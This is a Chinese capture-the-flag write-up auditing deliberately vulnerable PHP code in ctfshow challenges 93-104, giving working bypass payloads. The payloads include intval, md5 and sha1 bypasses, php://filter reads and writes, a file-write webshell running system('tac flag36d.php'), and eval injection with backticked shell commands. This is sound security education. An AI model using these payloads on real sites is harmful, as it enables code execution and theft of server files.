【PHP代码审计】ctfshow web入门 php特性 93-104

ctfshow web入门 php特性 93-104

  • web 93
  • web 94
  • web 95
  • web 96
  • web 97
  • web 98
  • web 99
  • web 100
  • web 101
  • web 102
  • web 103
  • web 104

web 93

在这里插入图片描述

这段PHP代码是一个简单的源码审计例子,让我们逐步分析它:

  1. include("flag.php");: 这行代码将flag.php文件包含进来。如果flag.php文件中定义了变量 $flag,它将在当前文件中可用。

  2. highlight_file(__FILE__);: 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们查看代码的内容。

  3. 下面是一个针对用户输入的num参数的处理:

    a. $num = $_GET['num'];: 从GET请求中获取名为num的参数,并将其赋值给变量$num

    b. if($num==4476){ die("no no no!"); }: 如果用户输入的num等于4476,将输出"no no no!"并终止脚本的执行。

    c. if(preg_match("/[a-z]/i", $num)){ die("no no no!"); }: 如果用户输入的num中包含任何字母(大小写不敏感),将输出"no no no!"并终止脚本的执行。

    d. if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }: 在这里,intval()函数将尝试将$num转换为整数类型。如果转换后的结果等于4476,将输出$flag的内容,否则输出转换后的整数值。

所以,从审计的角度来看:
代码中对用户输入num进行了多层过滤,主要是为了防止用户输入恶意数据。首先检查是否等于4476,其次检查是否包含字母。但这里有一个问题:它使用了intval()函数来转换输入,将输入强制转换为整数。在这里,如果输入的值以零开头(例如:001),则PHP会将其视为八进制数。

在这里插入图片描述

因此,用户可以通过输入以零开头的数字来绕过检查,获取到flag。

例如:传入 num=010574,它会被当作4476处理,然后输出$flag的内容。

在这里插入图片描述

还有小数也可以绕过if($num==4476){ die("no no no!"); }。比如传 ?num=4476.1

在这里插入图片描述

OK这题就完全理解了。

web 94

在这里插入图片描述

对比web 93,有以下几个重要的改动:

  1. if($num==="4476"){ die("no no no!"); }: 这里使用了三个等号(===),意味着在比较时不仅要比较值,还要比较类型。

  2. if(!strpos($num, "0")){ die("no no no!"); }: 传入的参数的第一位不能为0,如果是0,就die

  3. 最后的条件判断变为 if(intval($num,0)===4476){ echo $flag; },这个条件确保用户输入不是以0开头,且转换为整数后与4476相等,才会输出$flag的内容。

可以传参:
?num=(空格)+010574
?num=4476.0

web 95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}

preg_match函数来检查变量$num是否包含任何小写字母(a到z之间)或者一个句号(.)。如果发现包含这些字符,就会执行die()函数,输出 “no no no!!” 并终止脚本的执行。
刚刚web 94 用到小数形式就不能用了。所以只能用:
?num=(空格)+ 010574

在这里插入图片描述

web 96

highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}}

使用u传一个参,不能直接等于“flag.php”,如果u直接等于flag.php,那么将结束语句并输出 no no no。
使用两种方法传参:

  1. 相对路径:?u=./flag.php

在这里插入图片描述

  1. php伪协议:?u=php://filter/resource=flag.php

在这里插入图片描述

web 97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

前面都是GET,到此改为POST传参。
满足题目条件:a、b存在且非空,a与b不相等但他们的MD5相等时,输出flag。

如果是双等号不是三等号,在这样的弱比较里,0e开头的会被识别成科学计数法,结果均为0,比较时0=0为true绕过。

像这样的强比较,上面的方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过。

在这里插入图片描述

数组轻松绕过:
a[]=1&b[]=2

web 98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?> 
$_GET?$_GET=&$_POST:'flag'; 

这句语句表示,如果存在get方式,就把post的地址传给get,相当于get,只不过要利用post传一下参数。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

如果有通过GET方法传参’HTTP_FLAG=flag’,就显示flag。否则显示__FILE__.

如此传参:
GET:/?随意内容
POST:HTTP_FLAG=flag

在这里插入图片描述

web 99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}?> 

这部分代码用于生成一个名为 $allow 的数组,其中包含随机数。生成的随机数范围是从 1 到 0x36d(十进制 875)。↓

$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}

这部分代码检查是否存在名为 ‘n’ 的 GET 参数,并且该参数的值存在于 $allow 数组中。如果满足这两个条件,将使用 POST 请求中的 ‘content’ 参数将内容写入文件。↓

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}

file_put_contents() 函数把一个字符串写入文件中。
如果文件不存在,将创建一个文件。
如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

GET?n=1.php
POST:content=<?php system("ls");?>
访问1.php

在这个请求中,GET 参数 ‘n’ 的值是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("ls");?>,即恶意代码片段 system(“ls”)。

然后,代码会检查 ‘n’ 参数是否存在于 $allow 数组中。假设 “1.php” 是在 $allow 数组中,则会将 <?php system("ls");?> 写入名为 “1.php” 的文件。

当访问 “1.php” 时,恶意代码 system(“ls”) 将会被执行,显示当前目录中的内容。

GET?n=1.php
POST:content=<?php system("tac flag36d.php");?>
访问1.php

在这个请求中,GET 参数 ‘n’ 的值仍然是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("tac flag36d.php");?>,即另一个恶意代码片段 system(“tac flag36d.php”)。

假设 “1.php” 仍然是在 $allow 数组中,则会将 <?php system("tac flag36d.php");?> 写入名为 “1.php” 的文件。

当访问 “1.php” 时,恶意代码 system(“tac flag36d.php”) 将会被执行,显示名为 “flag36d.php” 的文件内容的逆向(从最后一行到第一行)。

在这里插入图片描述

web 100


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");         

源码审计:

$ctfshow = new ctfshow();

创建了一个名为 $ctfshow 的对象。

$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3'];

这几行代码从 GET 请求参数中获取数据,并将其存储在变量 $v1, $v2, $v3 中。

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

使用 is_numeric() 函数检查 $v1, $v2, $v3 是否都为数字。然后将结果赋值给变量 $v0。

由于=的优先级高于and,因此只需要v1等于数字就可以绕过上述检查。

if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){

这段代码是使用正则表达式检查v2、v3是否含有分号。

eval("$v2('ctfshow')$v3"); 

eval()函数的作用是将传入的字符串作为 PHP 代码进行解析和执行。简单来说,eval() 函数可以在运行时动态执行一段 PHP 代码。
它将 $v2 和 $v3 的值插入到字符串中并执行。

综上,传参让$ctfshow显出来就行了:

/?v1=1&v2=&v3=?><?=`tac ctfshow.php`;

在这里插入图片描述
flag格式是ctfshow{}。

web 101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3"); 

源码是web 100 的小改款,多出了:

正则检查的符号包括:
1. `\\\\`:匹配反斜杠 `\`。
2. `\/`:匹配正斜杠 `/`。
3. `\~`:匹配波浪号 `~`。
4. `\``:匹配反引号 `` ` ``。
5. `\!`:匹配感叹号 `!`。
6. `\@`:匹配at符号 `@`。
7. `\#`:匹配井号 `#`。
8. `\\$`:匹配美元符号 `$`9. `\%`:匹配百分号 `%`10. `\^`:匹配插入符号 `^`11. `\*`:匹配星号 `*`12. `\)`:匹配右括号 `)`13. `\-`:匹配减号 `-`14. `\_`:匹配下划线 `_`15. `\+`:匹配加号 `+`16. `\=`:匹配等号 `=`17. `\{`:匹配左花括号 `{`18. `\[`:匹配左方括号 `[`19. `\"`:匹配双引号 `"`20. `\'`:匹配单引号 `'`21. `\,`:匹配逗号 `,`22. `\. `:匹配点号 `.`23. `\;`:匹配分号 `;`24. `\?`:匹配问号 `?`25. `[0-9]`:匹配数字字符 09

用到PHP Reflection API 这个东西。
PHP Reflection API 是 PHP 的一组内置类和接口,它允许在运行时获取关于类、接口、函数、方法、属性等各种对象的信息。通过 Reflection API,我们可以在代码运行时动态地分析和获取这些对象的结构和属性,使得 PHP 在运行时具备了一定程度的反射(reflection)能力。

Reflection API 提供了一些类和接口,其中最常用的类包括:

  1. ReflectionClass:用于获取类的相关信息,如类名、父类、接口、属性、方法等。
  2. ReflectionMethod:用于获取类方法的相关信息,如方法名、参数、访问修饰符等。
  3. ReflectionFunction:用于获取函数的相关信息,如函数名、参数、返回值等。
  4. ReflectionProperty:用于获取类属性的相关信息,如属性名、访问修饰符等。
  5. ReflectionParameter:用于获取函数或方法的参数信息,如参数名、默认值等。

通过 Reflection API,开发者可以在运行时动态地探索和操作类、方法和函数的结构,例如:

  • 动态地获取类的方法和属性,实现类的自动文档生成或代码生成工具;
  • 检查类或方法的注释和特性,实现自定义的注解功能;
  • 动态地调用类的方法和创建对象,实现依赖注入和反射调用。

传参:

/?v1=1&v2=echo%20new%20ReflectionClass&v3=;

分析一下代码的执行过程:

  1. v1=1:这里将 v1 设置为数字 1。

  2. v2=echo%20new%20ReflectionClass:这里将 v2 设置为字符串 echo new ReflectionClass,注意 %20 是 URL 编码的空格符。

  3. v3=;:这里将 v3 设置为一个分号 ;

接下来,代码执行的逻辑是:

  1. 首先,is_numeric() 函数会检查 v1v2v3 是否都是数字。在这里,v1 是数字 1,因此条件通过。

  2. 然后,代码会进行正则表达式匹配,检查 v2v3 是否包含特定的字符。

    • 对于 v2,正则表达式为 /\\\\|\/|\~|\|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|“|'|,|.|;|?|[0-9]/,这里的 ` 在正则表达式中需要转义,所以实际匹配的是 \|/|~||!|@|#|$|%|^|*|)|-|_|+|=|{|[|”|'|,|.|;|?|[0-9]`。没有匹配到特殊字符,所以条件通过。

    • 对于 v3,正则表达式为 /\\\\|\/|\~|\|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|“|'|,|.|?|[0-9]/,这里的 ` 在正则表达式中需要转义,所以实际匹配的是 \|/|~||!|@|#|$|%|^|*|(|-|_|+|=|{|[|”|'|,|.|?|[0-9]`。没有匹配到特殊字符,所以条件通过。

  3. 最后,代码会执行以下语句:eval("$v2('ctfshow')$v3");

    • 根据我们的输入,这将等效于执行以下代码:eval("echo new ReflectionClass('ctfshow');");

    • eval() 函数将会执行字符串中的代码,因此这里会输出 new ReflectionClass('ctfshow')

web 102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}?> 
  1. 从POST请求中获取参数$v1
  2. 从GET请求中获取参数$v2$v3
  3. 判断$v2$v3是否都是数字(通过is_numeric函数判断),并将结果保存到$v4中。

如果$v4为真(即$v2$v3都是数字):

  1. $v2的第三个字符开始截取子字符串保存到$s中。$s = substr($v2,2);

  2. 调用名为$v1的回调函数,将$s作为参数传递给它,并将函数返回值保存到$str中。
    $str = call_user_func($v1,$s);

  3. $str输出到页面。

  4. $str的内容写入名为$v3的文件中。file_put_contents($v3,$str);

如果$v4为假(即$v2$v3不是都是数字):输出字符串"hacker",然后终止程序的执行。

构造传参:

$v1:使用hex2bin()作为回调函数(16进制转化为字符)
$v2:要求全是数字。
$v3:使用PHP伪协议写入文件$a=<?=`cat *`;
$b=base64_encode($a); 
$c=bin2hex($b);
bin2hex是把ASCII 字符的字符串转化为16进制
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可顺利通过is_numeric的检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
故v2=005044383959474e6864434171594473

payload:

GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phpPOST:v1=hex2bin          //这个就是把16进制转换为ASCII 字符的字符串传参后,访问1.php后,查看源代码,获得flag

在这里插入图片描述

web 103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}?>

对于之前的代码,新增了以下内容:

  1. 使用正则表达式检查$str中是否包含"php"子字符串:
if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);
}
else{die('Sorry');
}

这部分代码首先使用正则表达式/.*p.*h.*p.*/i来检查$str中是否包含"php"子字符串。正则表达式的含义是任意字符,后面跟着"p",后面跟着任意字符,后面跟着"h",后面再跟着任意字符,最后跟着"p",而i标记表示忽略大小写。这样的正则表达式会匹配包含"php"子字符串的任何形式。

  1. 根据正则表达式的匹配结果执行不同的操作:
  • 如果$str中不包含"php"子字符串,则将$str写入名为$v3的文件中:
file_put_contents($v3,$str);
  • 如果$str中包含"php"子字符串,则输出字符串"Sorry"并终止程序的执行:
die('Sorry');

这样的改动尝试防止用户将"php"关键词写入文件中,以防止潜在的代码注入攻击。如果$str中包含"php",则直接输出"Sorry",并停止文件写入。

然而我们的传参不受黑名单限制,payload依然是一样:

GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phpPOST:v1=hex2bin          //这个就是把16进制转换为ASCII 字符的字符串传参后,访问1.php后,查看源代码,获得flag

在这里插入图片描述

web 104

highlight_file(__FILE__);
include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;

sha1与md5一样,都是无法处理数组。所以这题跟web 97是一样的做法。使用数组进行绕过:

POST:v1[]=2
GET:v2[]=1

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/24166.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何建立含有逻辑删除字段的唯一索引

业务场景 在实际工作当中&#xff0c;遇到一个场景&#xff0c;就是在用户注册时&#xff0c;名字要全局唯一&#xff0c;当然&#xff0c;我们是可以对用户进行删除的&#xff0c;你会怎么去做&#xff1f; 分析 一般来说&#xff0c;我们可以在用户注册请求时&#xff0c…

习题1.27

先写代码 (defn square [x] (* x x)) (defn expmod[base exp m](cond ( exp 0) 1(even? exp) (mod (square (expmod base (/ exp 2) m)) m):else (mod (* base (expmod base (- exp 1) m)) m)))(defn fermat-test[n](defn try-it [a](cond ( a n) (println "test end&qu…

极狐GitLab 全新「价值流仪表盘」使用指南

本文来源&#xff1a;about.gitlab.com 作者&#xff1a;Haim Snir 译者&#xff1a;极狐(GitLab) 市场部内容团队 GitLab / 极狐GitLab 价值流仪表盘的使用相对简单&#xff0c;这种可以定制化的仪表盘能够让决策者识别数字化转型进程中的趋势及机遇。 如果你已经在用 GitLab…

Android学习之路(1) App工程的项目结构

一、App工程的项目结构 1.项目下面有两个分类 一个是app(代表app模块)&#xff0c;另一个是Gradle Scripts。其中app下面又有3个子目录&#xff0c;其功能说明如下&#xff1a; manifests 子目录下面只有一个XML文件&#xff0c;即AndroidManifest.xmljava子目录&#xff0c;…

谈谈量子计算技术

目录 1.什么是量子计算 2.量子计算的应用领域 3.量子计算对现代科学的影响 4.量子计算未来的发展趋势 1.什么是量子计算 量子计算是一种基于量子力学原理的计算方法&#xff0c;利用量子比特&#xff08;Quantum Bit&#xff0c;简称qubit&#xff09;而不是经典计算中的比特…

shell 脚本

一、使用PID过滤该进程的所有信息 #! /bin/bash # Function: 根据用户输入的PID&#xff0c;过滤出该PID所有的信息 read -p "请输入要查询的PID: " P nps -aux| awk $2~/^$P$/{print $11}|wc -l if [ $n -eq 0 ];thenecho "该PID不存在&#xff01;&#xff0…

MobPush Android SDK 厂商推送限制

概述 厂商推送限制 每个厂商通道都有对应的厂商配额和 QPS 限制&#xff0c;当请求超过限制且已配置厂商回执时&#xff0c;MobPush会采取以下措施&#xff1a; 当开发者推送请求超过厂商配额时&#xff0c;MobPush将通过自有通道进行消息下发。当开发者推送请求超过厂商 QP…

【雕爷学编程】Arduino动手做(184)---快餐盒盖,极低成本搭建机器人实验平台

吃完快餐粥&#xff0c;除了粥的味道不错之外&#xff0c;我对个快餐盒的圆盖子产生了兴趣&#xff0c;能否做个极低成本的简易机器人呢&#xff1f;也许只需要二十元左右 知识点&#xff1a;轮子&#xff08;wheel&#xff09; 中国词语。是用不同材料制成的圆形滚动物体。简…

【雕爷学编程】Arduino动手做(186)---WeMos ESP32开发板9

37款传感器与模块的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&#x…

Flutter游戏引擎Flame系列笔记 - 1.Flame引擎概述

Flutter游戏引擎Flame系列笔记 1.Flame引擎概述 - 文章信息 - Author: 李俊才(jcLee95) Visit me at: https://jclee95.blog.csdn.netEmail: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_28550263/article/details/132119035 【介绍】…

03.利用Redis实现缓存功能---解决缓存穿透版

学习目标&#xff1a; 提示&#xff1a;学习如何利用Redis实现添加缓存功能解决缓存穿透版 学习产出&#xff1a; 缓存穿透讲解图&#xff1a; 解决方案&#xff1a; 采用缓存空对象采用布隆过滤器 解决方案流程图&#xff1a; 1. 准备pom环境 <dependency><gro…

MapReduce基础原理、MR与MPP区别

MapReduce概述 MapReduce&#xff08;MR&#xff09;本质上是一种用于数据处理的编程模型&#xff1b;MapReduce用于海量数据的计算&#xff0c;HDFS用于海量数据的存储&#xff08;Hadoop Distributed File System&#xff0c;Hadoop分布式文件系统&#xff09;。Hadoop MapR…

uniapp:图片验证码检验问题处理

图形验证码功能实现 uniapp&#xff1a;解决图形验证码问题及利用arraybuffer二进制转base64格式图片&#xff08;后端传的图片数据形式&#xff1a;x00\x10JFIF\x00\x01\x02\x00…&#xff09;_❆VE❆的博客-CSDN博客 UI稿&#xff1a; 需求&#xff1a;向后端请求验证码图片&…

arcgis--网络分析(理论篇)

1、定义概念 &#xff08;1&#xff09;网络&#xff1a;由一系列相互联通的点和线组成&#xff0c;用来描述地理要素&#xff08;资源&#xff09;的流动情况。 &#xff08;2&#xff09;网络分析&#xff1a;对地理网络&#xff08;如交通网络、水系网络&#xff09;&…

RTT(RT-Thread)时钟管理

目录 时钟管理 时钟节拍 RTT工程目录结构介绍 配置文件&#xff1a;rtconfig.h 获取系统节拍 获取系统节拍数函数 实例 定时器 RT_Thread定时器介绍 定时器源码分析&#xff08;了解即可&#xff09; rt_system_timer_init (硬件定时器初始化) rt_system_timer_thr…

安全防护,保障企业图文档安全的有效方法

随着企业现在数据量的不断增加和数据泄露事件的频发&#xff0c;图文档的安全性成为了企业必须高度关注的问题。传统的纸质文件存储方式已不适应现代企业的需求&#xff0c;而在线图文档管理成为了更加安全可靠的数字化解决方案。那么在在线图文档管理中&#xff0c;如何采取有…

Windows测试模式打开/关闭 C++ Windows驱动开发

Windows测试模式打开 管理员身份运行CMD 2.输入&#xff1a;bcdedit /set testsigning on 重启计算机 右下角显示&#xff1a; 测试模式成功开启 Windows测试模式关闭 同理&#xff0c;第二步修改为&#xff1a; 重启后右下角&#xff1a; 没有测试模式显示&#xff0c;关闭…

类与对象【中】

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;那个传说中的man的主页 &#x1f3e0;个人专栏&#xff1a;题目解析 &#x1f30e;推荐文章&#xff1a;题目大解析2 目录 &#x1f449;&#x1f3fb;类的默认6个成员函数&#x1f449;&#x1f3fb;构造…

【linux--->数据链路层协议】

文章目录 [TOC](文章目录) 一、数据链路层协议概念二、以太网帧格式1.字段分析 三、局域网通信原理四、ARP协议1.结构2.作用3.ARP通信过程4.ARP协议相关命令 五、局域网内中间人原理六、DNS系统(域名系统)1.域名概念2.DNS系统组成3.DNS协议3.浏览器输入域名后的通信过程4.dig工…

Linux 创建子进程

文章目录 前言一、进程&#xff0c;线程&#xff0c;程序 区分二、创建子进程三、创建多个进程1. 获取进程号2. 循环创建多个进程 四、进程工具。1. ps 查看当前进程.2. kill 进程终止. 总结 前言 在计算机科学中&#xff0c;进程&#xff08;Process&#xff09;、线程&#…